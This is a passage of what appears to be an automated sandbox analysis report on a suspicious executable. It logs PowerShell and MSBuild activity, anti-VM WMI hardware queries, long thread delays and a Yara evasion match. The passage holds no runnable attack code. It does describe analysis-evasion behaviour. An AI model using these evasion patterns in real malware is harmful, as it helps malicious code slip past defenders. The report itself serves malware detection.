Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: powershell.exe PID: 7224, type: MEMORYSTR

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 599764	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 599547	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 599430	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 599312	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 599203	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 599091	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 598983	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 598875	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 598766	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 598656	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 598547	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6299	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3099	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6093	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3442	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Window / User API: threadDelayed 2008	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Window / User API: threadDelayed 7818	Jump to behavior

Source: C:\Users\user\Desktop\PO_00290292.exe TID: 5448	Thread sleep time: -30500s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7220	Thread sleep time: -23980767295822402s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7276	Thread sleep count: 6093 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7280	Thread sleep count: 3442 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7312	Thread sleep time: -2767011611056431s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7744	Thread sleep time: -27670116110564310s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7744	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7744	Thread sleep time: -199750s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7744	Thread sleep time: -99766s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7744	Thread sleep time: -99641s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7744	Thread sleep time: -99516s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7744	Thread sleep time: -99407s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7744	Thread sleep time: -99282s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7744	Thread sleep time: -99157s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7744	Thread sleep time: -99047s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7744	Thread sleep time: -98938s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7744	Thread sleep time: -98813s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7744	Thread sleep time: -98688s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7744	Thread sleep time: -98563s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7744	Thread sleep time: -98438s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7744	Thread sleep time: -98328s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7744	Thread sleep time: -98218s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7744	Thread sleep time: -98107s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7744	Thread sleep time: -98000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7744	Thread sleep time: -99984s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7744	Thread sleep time: -99765s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7744	Thread sleep time: -99656s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7744	Thread sleep time: -99546s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7744	Thread sleep time: -99437s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7744	Thread sleep time: -99328s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7744	Thread sleep time: -99218s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7744	Thread sleep time: -99109s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7744	Thread sleep time: -98999s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7744	Thread sleep time: -98890s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7744	Thread sleep time: -98780s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7744	Thread sleep time: -98671s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7744	Thread sleep time: -98562s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7744	Thread sleep time: -98452s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7744	Thread sleep time: -98343s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7744	Thread sleep time: -98234s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7744	Thread sleep time: -98112s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7744	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7744	Thread sleep time: -599875s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7744	Thread sleep time: -599764s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7744	Thread sleep time: -599656s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7744	Thread sleep time: -599547s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7744	Thread sleep time: -599430s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7744	Thread sleep time: -599312s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7744	Thread sleep time: -599203s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7744	Thread sleep time: -599091s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7744	Thread sleep time: -598983s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7744	Thread sleep time: -598875s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7744	Thread sleep time: -598766s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7744	Thread sleep time: -598656s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7744	Thread sleep time: -598547s >= -30000s	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\PO_00290292.exe	Code function: 0_2_0040596F CloseHandle,GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_0040596F
Source: C:\Users\user\Desktop\PO_00290292.exe	Code function: 0_2_004064C1 FindFirstFileW,FindClose,	0_2_004064C1
Source: C:\Users\user\Desktop\PO_00290292.exe	Code function: 0_2_004027FB FindFirstFileW,	0_2_004027FB

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 99875	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 99766	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 99641	Jump to behavior
